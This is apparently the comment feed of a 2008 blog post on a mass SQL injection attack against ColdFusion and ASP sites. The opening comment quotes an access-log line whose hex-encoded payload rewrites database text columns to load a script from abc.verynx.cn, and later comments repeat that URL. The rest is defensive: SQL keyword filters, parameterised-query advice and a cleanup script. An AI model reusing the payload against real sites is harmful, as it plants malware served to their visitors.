D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073726<br />
33D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645<br />
544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520<br />
5461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);<br />
 HTTP/1.1&#8243; 200 18806 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&#8221;</p>
<p>Then today ::</p>
<p>59.6.82.62 - - [24/Jul/2008:07:59:25 -0400] &#8220;GET / HTTP/1.1&#8243; 403 825 &#8220;-&#8221; &#8220;Microsoft URL Control - 6.00.8169&#8243;<br />
208.80.193.40 - - [24/Jul/2008:08:00:13 -0400] &#8220;GET / HTTP/1.0&#8243; 200 36899 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SIMBAR Enabled; SIMBAR={CF07971C-C698-451d-BAB9-18491326916A}; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Media Center PC 2.8; MEGAUPLOAD 1.0)&#8221;<br />
208.80.193.36 - - [24/Jul/2008:13:02:02 -0400] &#8220;GET / HTTP/1.0&#8243; 200 36899 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft; ZangoToolbar 4.8.2)&#8221;</p>
<p>WTF is this?</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: tieguy</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9239</link>
		<author>tieguy</author>
		<pubDate>Fri, 25 Jul 2008 00:38:54 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9239</guid>
					<description>thank you</description>
		<content:encoded><![CDATA[<p>thank you</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Jonathan</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9240</link>
		<author>Jonathan</author>
		<pubDate>Fri, 25 Jul 2008 01:25:31 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9240</guid>
					<description>Our site has been hit multiple times with this as well.  Thanks for posting the solution for cleaning up the mess.  I've spent countless hours on this over the past few days.</description>
		<content:encoded><![CDATA[<p>Our site has been hit multiple times with this as well.  Thanks for posting the solution for cleaning up the mess.  I&#8217;ve spent countless hours on this over the past few days.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Mark</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9243</link>
		<author>Mark</author>
		<pubDate>Fri, 25 Jul 2008 03:55:36 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9243</guid>
					<description>Here's some pretty simple injector projection code that I implemented into my application.cfm file  It's been effective so far in blocking out further hacking attempts and since it emails me the details on the perp, I can block the IP and notify the ISP.

SQL INJECTION PROTECTOR CODE (stored in /application.cfm)

========================================================



 







HACK ATTEMPT RECORDED FROM IP: #remote_addr#

#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#

#script_name#&#38;#query_string#



 



 



 

HACK ATTEMPT RECORDED:

#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#

IP: #remote_addr#

ATTEMPT:

http://#server_name#/#script_name#&#38;#query_string#



 



</description>
		<content:encoded><![CDATA[<p>Here&#8217;s some pretty simple injector projection code that I implemented into my application.cfm file  It&#8217;s been effective so far in blocking out further hacking attempts and since it emails me the details on the perp, I can block the IP and notify the ISP.</p>
<p>SQL INJECTION PROTECTOR CODE (stored in /application.cfm)</p>
<p>========================================================</p>
<p>HACK ATTEMPT RECORDED FROM IP: #remote_addr#</p>
<p>#DateFormat(Now(), &#8220;MM-DD-YYYY&#8221;)# @ #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#</p>
<p>#script_name#&amp;#query_string#</p>
<p>HACK ATTEMPT RECORDED:</p>
<p>#DateFormat(Now(), &#8220;MM-DD-YYYY&#8221;)# @ #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#</p>
<p>IP: #remote_addr#</p>
<p>ATTEMPT:</p>
<p><a href="http://#server_name#/#script_name#&amp;#query_string#" rel="nofollow">http://#server_name#/#script_name#&amp;#query_string#</a></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Mark</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9245</link>
		<author>Mark</author>
		<pubDate>Fri, 25 Jul 2008 03:57:57 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9245</guid>
					<description>SQL INJECTION PROTECTOR CODE (stored in /application.cfm)
=======================================================

&#60;cfparam name="query_string" default=""&#62;

 

&#60;cfif query_string contains "SELECT" or query_string contains "EXECUTE" or query_string contains "DECLARE" or query_string contains "VARCHAR" or query_string contains "CONVERT"&#62;

 

&#60;cfoutput&#62;

&#60;pre&#62;

&#60;h1&#62;HACK ATTEMPT RECORDED FROM IP: #remote_addr#&#60;/h1&#62;

#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#

#script_name#&#38;#query_string#

&#60;/pre&#62;

 

&#60;/cfoutput&#62;

 

&#60;cfmail

to="mark@warrick.net"

from="webmaster@zapconnect.com"

subject="HACK ATTEMPT FROM IP: #remote_addr#"&#62;

 

HACK ATTEMPT RECORDED:

#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#

IP: #remote_addr#

ATTEMPT:

http://#server_name#/#script_name#&#38;#query_string#

&#60;/cfmail&#62;

 

&#60;cfabort&#62;

 

 

&#60;/cfif&#62;

 

========================================================</description>
		<content:encoded><![CDATA[<p>SQL INJECTION PROTECTOR CODE (stored in /application.cfm)<br />
=======================================================</p>
<p>&lt;cfparam name=&#8221;query_string&#8221; default=&#8221;"&gt;</p>
<p>&lt;cfif query_string contains &#8220;SELECT&#8221; or query_string contains &#8220;EXECUTE&#8221; or query_string contains &#8220;DECLARE&#8221; or query_string contains &#8220;VARCHAR&#8221; or query_string contains &#8220;CONVERT&#8221;&gt;</p>
<p>&lt;cfoutput&gt;</p>
<p>&lt;pre&gt;</p>
<p>&lt;h1&gt;HACK ATTEMPT RECORDED FROM IP: #remote_addr#&lt;/h1&gt;</p>
<p>#DateFormat(Now(), &#8220;MM-DD-YYYY&#8221;)# @ #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#</p>
<p>#script_name#&amp;#query_string#</p>
<p>&lt;/pre&gt;</p>
<p>&lt;/cfoutput&gt;</p>
<p>&lt;cfmail</p>
<p>to=&#8221;mark@warrick.net&#8221;</p>
<p>from=&#8221;webmaster@zapconnect.com&#8221;</p>
<p>subject=&#8221;HACK ATTEMPT FROM IP: #remote_addr#&#8221;&gt;</p>
<p>HACK ATTEMPT RECORDED:</p>
<p>#DateFormat(Now(), &#8220;MM-DD-YYYY&#8221;)# @ #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#</p>
<p>IP: #remote_addr#</p>
<p>ATTEMPT:</p>
<p><a href="http://#server_name#/#script_name#&amp;#query_string#" rel="nofollow">http://#server_name#/#script_name#&amp;#query_string#</a></p>
<p>&lt;/cfmail&gt;</p>
<p>&lt;cfabort&gt;</p>
<p>&lt;/cfif&gt;</p>
<p>========================================================</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Radek</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9258</link>
		<author>Radek</author>
		<pubDate>Fri, 25 Jul 2008 17:41:16 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9258</guid>
					<description>Using CFIF it is a small security against the hack, it gonna filter only those KEYWORDS somebody can come up with other code and you done. What I suggest is if u not using EXECUTE remove it from permissions in DB, and the most important thing is using cfqueryparams:

select name from product where productoid=

select name from product where variable=

For more security ADD MAXLENGHT:

select name from product where productoid=

select name from product where variable=


I know it is time consuming to check all your queries, but here is a great tool to check them and easily fix them and u secured forever !!!!

http://qpscanner.riaforge.org/

Very great tool!</description>
		<content:encoded><![CDATA[<p>Using CFIF it is a small security against the hack, it gonna filter only those KEYWORDS somebody can come up with other code and you done. What I suggest is if u not using EXECUTE remove it from permissions in DB, and the most important thing is using cfqueryparams:</p>
<p>select name from product where productoid=</p>
<p>select name from product where variable=</p>
<p>For more security ADD MAXLENGHT:</p>
<p>select name from product where productoid=</p>
<p>select name from product where variable=</p>
<p>I know it is time consuming to check all your queries, but here is a great tool to check them and easily fix them and u secured forever !!!!</p>
<p><a href="http://qpscanner.riaforge.org/" rel="nofollow">http://qpscanner.riaforge.org/</a></p>
<p>Very great tool!</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Radek</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9259</link>
		<author>Radek</author>
		<pubDate>Fri, 25 Jul 2008 17:42:45 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9259</guid>
					<description>The blog is cutting the queries dont know why:

"select name from product where productoid="

"select name from product where variable="

For more security ADD MAXLENGHT:

"select name from product where productoid="

"select name from product where variable="</description>
		<content:encoded><![CDATA[<p>The blog is cutting the queries dont know why:</p>
<p>&#8220;select name from product where productoid=&#8221;</p>
<p>&#8220;select name from product where variable=&#8221;</p>
<p>For more security ADD MAXLENGHT:</p>
<p>&#8220;select name from product where productoid=&#8221;</p>
<p>&#8220;select name from product where variable=&#8221;</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: John Bell</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9263</link>
		<author>John Bell</author>
		<pubDate>Fri, 25 Jul 2008 19:55:19 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9263</guid>
					<description>I recently recovered from the abc.verynx.com strain. I found the above scripts did not completely clear up my issues. every databases INFORMATION_SCHEMA.COLUMNS table was injected in the DATA_TYPE column. I used a simple find and replace script on that particular field to remove the code from the DATA_TYPE field. perhaps the above removal script can be modified to check this table as well. 

John Bell</description>
		<content:encoded><![CDATA[<p>I recently recovered from the abc.verynx.com strain. I found the above scripts did not completely clear up my issues. every databases INFORMATION_SCHEMA.COLUMNS table was injected in the DATA_TYPE column. I used a simple find and replace script on that particular field to remove the code from the DATA_TYPE field. perhaps the above removal script can be modified to check this table as well. </p>
<p>John Bell</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Mark</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9266</link>
		<author>Mark</author>
		<pubDate>Fri, 25 Jul 2008 21:22:31 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9266</guid>
					<description>Our server was hit by the SQL injection .. Working at an edu our security person refuses to to reattach SQL Server or the webserver ...so i can not scrub the data /  The network guys have reloaded the webserver OS and applied the patches... 
In a SQL Server class i took one guy was suggesting going into SQL server and for the account the webserver is using to attach to the database; with the view sys.sysobjects revoking SELECT access for that user. I have yet to find information that substantiates that mehodology...
ps AGHHH</description>
		<content:encoded><![CDATA[<p>Our server was hit by the SQL injection .. Working at an edu our security person refuses to to reattach SQL Server or the webserver &#8230;so i can not scrub the data /  The network guys have reloaded the webserver OS and applied the patches&#8230;<br />
In a SQL Server class i took one guy was suggesting going into SQL server and for the account the webserver is using to attach to the database; with the view sys.sysobjects revoking SELECT access for that user. I have yet to find information that substantiates that mehodology&#8230;<br />
ps AGHHH</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Scott</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9269</link>
		<author>Scott</author>
		<pubDate>Fri, 25 Jul 2008 22:53:16 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9269</guid>
					<description>We also had a ColdFusion site that was hit with this attack.  We got the database cleaned up and used CFQUERYPARAM to stop the attacks.  However, I have since noticed reduced performance from the SQL Server.  There is also an unexplained increase in the database size.  Some of the tables are quite large.  I'm guessing that temporarily adding content to the database affected the indexes etc.  Does anyone have any ideas as to how to return the database to its former level of efficiency?</description>
		<content:encoded><![CDATA[<p>We also had a ColdFusion site that was hit with this attack.  We got the database cleaned up and used CFQUERYPARAM to stop the attacks.  However, I have since noticed reduced performance from the SQL Server.  There is also an unexplained increase in the database size.  Some of the tables are quite large.  I&#8217;m guessing that temporarily adding content to the database affected the indexes etc.  Does anyone have any ideas as to how to return the database to its former level of efficiency?</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Jason Leveille</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9303</link>
		<author>Jason Leveille</author>
		<pubDate>Sun, 27 Jul 2008 18:20:38 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9303</guid>
					<description>Thanks for posting this.  We have been wrestling with this attack in a classic asp application, and I think we finally have it under control (by finding and filtering all entry points).  We'll now be taking a look at execute permissions.</description>
		<content:encoded><![CDATA[<p>Thanks for posting this.  We have been wrestling with this attack in a classic asp application, and I think we finally have it under control (by finding and filtering all entry points).  We&#8217;ll now be taking a look at execute permissions.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Jason Leveille</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9319</link>
		<author>Jason Leveille</author>
		<pubDate>Mon, 28 Jul 2008 12:11:04 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9319</guid>
					<description>Thank you again for this post.  At this point we are wondering if steps need to be taken to help our users recover from this attack.  As you state, if a user loaded the payload while the server was online a virus would have been installed on their machine.  Is there additional information you can provide about the virus?  Is there anywhere we can go to learn more information about the virus?  You obviously were able to follow the attack to a point where you were able to learn that a virus would be installed.  Any insight you could provide would be very helpful.</description>
		<content:encoded><![CDATA[<p>Thank you again for this post.  At this point we are wondering if steps need to be taken to help our users recover from this attack.  As you state, if a user loaded the payload while the server was online a virus would have been installed on their machine.  Is there additional information you can provide about the virus?  Is there anywhere we can go to learn more information about the virus?  You obviously were able to follow the attack to a point where you were able to learn that a virus would be installed.  Any insight you could provide would be very helpful.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Nik</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9344</link>
		<author>Nik</author>
		<pubDate>Tue, 29 Jul 2008 13:50:56 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9344</guid>
					<description>Thanks for the hints about how to remove the threat, we found Ben's suggestion to download the file from http://www.cfprimer.com/downloads.cfm extremely valuable!</description>
		<content:encoded><![CDATA[<p>Thanks for the hints about how to remove the threat, we found Ben&#8217;s suggestion to download the file from <a href="http://www.cfprimer.com/downloads.cfm" rel="nofollow">http://www.cfprimer.com/downloads.cfm</a> extremely valuable!</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Dr. G.</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9362</link>
		<author>Dr. G.</author>
		<pubDate>Wed, 30 Jul 2008 03:53:01 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9362</guid>
					<description>my site has been overrun by: "http://abc.verynx.cn/w.js".

My webmaster/host-securenet systems says that the hits have not come from his side but from outside and is my responsibility.  Now he wants 2,000.00 to fix with all new codes,etc.

What shall I do?</description>
		<content:encoded><![CDATA[<p>my site has been overrun by: &#8220;http://abc.verynx.cn/w.js&#8221;.</p>
<p>My webmaster/host-securenet systems says that the hits have not come from his side but from outside and is my responsibility.  Now he wants 2,000.00 to fix with all new codes,etc.</p>
<p>What shall I do?</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: devit</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9369</link>
		<author>devit</author>
		<pubDate>Wed, 30 Jul 2008 12:33:42 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9369</guid>
					<description>re: Jason Leveille

We believe the virus was a worm.  It looks like it could be one of the following:
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FPOPWIN%2ECK&#038;VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FNSPAK%2EAB&#038;VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FAUTORUN%2ETD&#038;VSect=P
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FSILLY%2EGF&#038;VSect=P

We think a full virus scan would detect anything it may have loaded.  We've found sometimes if a machine is infected using an online virus scanner such as http://housecall.trendmicro.com can be useful.

Hope that helps.</description>
		<content:encoded><![CDATA[<p>re: Jason Leveille</p>
<p>We believe the virus was a worm.  It looks like it could be one of the following:<br />
<a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FPOPWIN%2ECK&#038;VSect=P" rel="nofollow">http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FPOPWIN%2ECK&#038;VSect=P</a><br />
<a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FNSPAK%2EAB&#038;VSect=P" rel="nofollow">http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FNSPAK%2EAB&#038;VSect=P</a><br />
<a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FAUTORUN%2ETD&#038;VSect=P" rel="nofollow">http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FAUTORUN%2ETD&#038;VSect=P</a><br />
<a href="http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FSILLY%2EGF&#038;VSect=P" rel="nofollow">http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FSILLY%2EGF&#038;VSect=P</a></p>
<p>We think a full virus scan would detect anything it may have loaded.  We&#8217;ve found sometimes if a machine is infected using an online virus scanner such as <a href="http://housecall.trendmicro.com" rel="nofollow">http://housecall.trendmicro.com</a> can be useful.</p>
<p>Hope that helps.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: devit</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9370</link>
		<author>devit</author>
		<pubDate>Wed, 30 Jul 2008 12:40:08 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9370</guid>
					<description>re: Dr. G.

Depending when your webmaster created the code you may be able to push back and get at least some of the cost removed.  It's obviously very hard to give any type of advice with such little information so we won't even try.  What we can comment on is generally there is a warranty period for code.  Also you may want to research alternatives such as competitors or try and hold the person who wrote the code accountable for the security problem.

Good Luck.</description>
		<content:encoded><![CDATA[<p>re: Dr. G.</p>
<p>Depending when your webmaster created the code you may be able to push back and get at least some of the cost removed.  It&#8217;s obviously very hard to give any type of advice with such little information so we won&#8217;t even try.  What we can comment on is generally there is a warranty period for code.  Also you may want to research alternatives such as competitors or try and hold the person who wrote the code accountable for the security problem.</p>
<p>Good Luck.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Mark</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9401</link>
		<author>Mark</author>
		<pubDate>Thu, 31 Jul 2008 16:19:35 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9401</guid>
					<description>this has been perhaps proposed as well but here is another method at the database level revoking SELECT access of system level views (within SQL Server)
http://dileepstanley.wordpress.com/2008/06/23/prevent-some-of-the-sql-injection-possiblities/   
&#8226; at the code level we have implemented a sniffer script that looks for common methods (DML functions: SELECT INSERT UPDATE DELETE DROP etc)of attack via FORM and URL variables --
at the server IIS level i have blocked the IPs of sites noted to have possibly propagated injection attacks; while this seems like I am shooting rubber bands at stars   [it seems many reference servers in .cn] example of the embedded attack --&#62; script src="w.js" /script script src="abc.verynx.cn/w.js" /script * From Microsoft website "Stop SQL Injection Attacks Before They Stop You"  http://msdn.microsoft.com/en-us/magazine/cc163917.aspx</description>
		<content:encoded><![CDATA[<p>this has been perhaps proposed as well but here is another method at the database level revoking SELECT access of system level views (within SQL Server)<br />
<a href="http://dileepstanley.wordpress.com/2008/06/23/prevent-some-of-the-sql-injection-possiblities/" rel="nofollow">http://dileepstanley.wordpress.com/2008/06/23/prevent-some-of-the-sql-injection-possiblities/</a><br />
&#8226; at the code level we have implemented a sniffer script that looks for common methods (DML functions: SELECT INSERT UPDATE DELETE DROP etc)of attack via FORM and URL variables &#8211;<br />
at the server IIS level i have blocked the IPs of sites noted to have possibly propagated injection attacks; while this seems like I am shooting rubber bands at stars   [it seems many reference servers in .cn] example of the embedded attack &#8211;&gt; script src=&#8221;w.js&#8221; /script script src=&#8221;abc.verynx.cn/w.js&#8221; /script * From Microsoft website &#8220;Stop SQL Injection Attacks Before They Stop You&#8221;  <a href="http://msdn.microsoft.com/en-us/magazine/cc163917.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/magazine/cc163917.aspx</a></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: &#187; A SQL Injection attack and search engines &#124; SQL Server Feeds</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9546</link>
		<author>&#187; A SQL Injection attack and search engines &#124; SQL Server Feeds</author>
		<pubDate>Wed, 06 Aug 2008 07:00:30 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9546</guid>
					<description>[...] Injection attack came up. Here&#8217;s a post describing it; it also includes other useful links: http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html A search for the query string &#8220;http://1.verynx.cn/w.js&#8221; (the quotes are part of the [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] Injection attack came up. Here&#8217;s a post describing it; it also includes other useful links: <a href="http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html" rel="nofollow">http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html</a> A search for the query string &#8220;http://1.verynx.cn/w.js&#8221; (the quotes are part of the [&#8230;]</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Jesse Monson</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9580</link>
		<author>Jesse Monson</author>
		<pubDate>Thu, 07 Aug 2008 21:21:18 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9580</guid>
					<description>--Try this out if you've been hacked.  Run this SQL statement in Query Analyzer.  Put the garbage you are trying to remove in the @Offending_String variable

DECLARE @Offending_String varchar(4000)
DECLARE @T varchar(255),@C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 
	select a.name,b.name 
	from sysobjects a,syscolumns b 
	where a.id=b.id and a.xtype='u' 
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor 

FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
BEGIN 
	
	SET @Offending_String = '' --Put the string you want cleared in here
	EXEC('UPDATE ['+@T+'] SET ['+@C+'] = REPLACE(['+@C+'],'+@Offending_String+','''')')
	FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor</description>
		<content:encoded><![CDATA[<p>&#8211;Try this out if you&#8217;ve been hacked.  Run this SQL statement in Query Analyzer.  Put the garbage you are trying to remove in the @Offending_String variable</p>
<p>DECLARE @Offending_String varchar(4000)<br />
DECLARE @T varchar(255),@C varchar(4000) </p>
<p>DECLARE Table_Cursor CURSOR FOR<br />
	select a.name,b.name<br />
	from sysobjects a,syscolumns b<br />
	where a.id=b.id and a.xtype=&#8217;u&#8217;<br />
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) </p>
<p>OPEN Table_Cursor </p>
<p>FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)<br />
BEGIN </p>
<p>	SET @Offending_String = &#8221; &#8211;Put the string you want cleared in here<br />
	EXEC(&#8217;UPDATE [&#8217;+@T+&#8217;] SET [&#8217;+@C+&#8217;] = REPLACE([&#8217;+@C+&#8217;],&#8217;+@Offending_String+&#8217;,&#8221;&#8221;)&#8217;)<br />
	FETCH NEXT FROM  Table_Cursor INTO @T,@C<br />
END<br />
CLOSE Table_Cursor<br />
DEALLOCATE Table_Cursor</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Troy</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9581</link>
		<author>Troy</author>
		<pubDate>Thu, 07 Aug 2008 22:28:48 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9581</guid>
					<description>We had the same problem and saw this posting:

http://coldfusion.sys-con.com/node/620373

=============================================================================
If you're using ColdFusion, to harden your website from sql injection attacks add the following code to your Application.cfm file. If you're not using ColdFusion, you can translate this code into the language you're using and it should still work.

&lt;!--- CREATE SQL REGULAR EXPRESSION---&gt;


&lt;!--- CHECK FORM VARIABLES ---&gt;

         
                  
                  
                  
         


&lt;!--- CHECK URL VARIABLES ---&gt;

         
                  
                  
                  
         


This code would reside in your Application.cfm file which gets executed every time a ColdFusion file is requested on the server. What it does is it checks all form and URL variables to see if they contain any patterns matching an SQL SELECT, UPDATE, INSERT, DELETE or DROP statement.

If a match is found, the user is redirected to a message page indicating that a possible SQL Injection attack was made and the SQL injection is prevented.

=============================================================================

I hope this will help.</description>
		<content:encoded><![CDATA[<p>We had the same problem and saw this posting:</p>
<p><a href="http://coldfusion.sys-con.com/node/620373" rel="nofollow">http://coldfusion.sys-con.com/node/620373</a></p>
<p>=============================================================================<br />
If you&#8217;re using ColdFusion, to harden your website from sql injection attacks add the following code to your Application.cfm file. If you&#8217;re not using ColdFusion, you can translate this code into the language you&#8217;re using and it should still work.</p>
<p><!--- CREATE SQL REGULAR EXPRESSION---></p>
<p><!--- CHECK FORM VARIABLES ---></p>
<p><!--- CHECK URL VARIABLES ---></p>
<p>This code would reside in your Application.cfm file which gets executed every time a ColdFusion file is requested on the server. What it does is it checks all form and URL variables to see if they contain any patterns matching an SQL SELECT, UPDATE, INSERT, DELETE or DROP statement.</p>
<p>If a match is found, the user is redirected to a message page indicating that a possible SQL Injection attack was made and the SQL injection is prevented.</p>
<p>=============================================================================</p>
<p>I hope this will help.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: SQL injection using cast / declare attack &#124; Debt Prison</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9621</link>
		<author>SQL injection using cast / declare attack &#124; Debt Prison</author>
		<pubDate>Fri, 08 Aug 2008 13:36:05 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9621</guid>
					<description>[...] which, so far, seems specific for servers with coldfusion. However, according to a visitor to this article the attack had evolved, effecting MSSQL.  Here&#8217;s a sample of the attack string [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] which, so far, seems specific for servers with coldfusion. However, according to a visitor to this article the attack had evolved, effecting MSSQL.  Here&#8217;s a sample of the attack string [&#8230;]</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: T.Edge</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9623</link>
		<author>T.Edge</author>
		<pubDate>Fri, 08 Aug 2008 14:00:03 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9623</guid>
					<description>I found that filtering all special characters in the query string, like any of the following chars: ( ) : ; ' as well as the words select, delete, drop, insert does a good job at sql injection attacks.  I get an email like the above (22) comment, plus the user get re-routed to a "blocked.html" page.  I will probably add the words declare, cast, char, and exec if it doesn't interfere with the normal operation of my site.  My IP blocker code doesn't work with all of these different IP's though, so I'm hoping they will just give up soon.  So far, I've been getting slammed for about 6 hours.</description>
		<content:encoded><![CDATA[<p>I found that filtering all special characters in the query string, like any of the following chars: ( ) : ; &#8216; as well as the words select, delete, drop, insert does a good job at sql injection attacks.  I get an email like the above (22) comment, plus the user get re-routed to a &#8220;blocked.html&#8221; page.  I will probably add the words declare, cast, char, and exec if it doesn&#8217;t interfere with the normal operation of my site.  My IP blocker code doesn&#8217;t work with all of these different IP&#8217;s though, so I&#8217;m hoping they will just give up soon.  So far, I&#8217;ve been getting slammed for about 6 hours.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: EVH</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9631</link>
		<author>EVH</author>
		<pubDate>Fri, 08 Aug 2008 21:07:23 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9631</guid>
					<description>Thanks for the post - sounds like a lot of people have been getting slammed by these bots recently so the info here is very helpful.

